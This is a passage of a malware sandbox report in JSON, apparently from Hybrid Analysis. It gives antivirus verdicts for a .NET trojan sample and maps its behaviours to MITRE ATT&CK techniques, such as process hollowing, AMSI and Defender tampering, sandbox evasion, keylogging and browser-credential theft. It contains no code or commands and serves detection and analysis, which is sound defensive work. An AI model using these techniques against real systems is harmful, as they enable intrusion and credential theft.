urce":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Loki.1401 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Kryptik.AIVL trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Injector.ng","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005a5a751 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"PWS-FDBP!1128C941C31B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Noon.jwlrrl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-ABH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Troj.CPG.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GenusT.DUXN","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanLoader.MSIL.DaVinci.Heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_46.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Noon.Win32.28351","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.Loki.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"malicious","value":"Found an indicator for a scheduled task trigger"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"},{"type":"informative","value":"Contains ability to interact with Microsoft Outlook"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed from task XML file"},{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"malicious","value":"Modifies file/console tracing settings (often used to hide footprints on system)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains ability to encrypt/decrypt data using TripleDES"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"},{"type":"informative","value":"Found strings related to file managers"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"},{"type":"informative","value":"References Firefox browser credentials files"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Contains ability to perform sql operations (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Collection","technique":"Screen 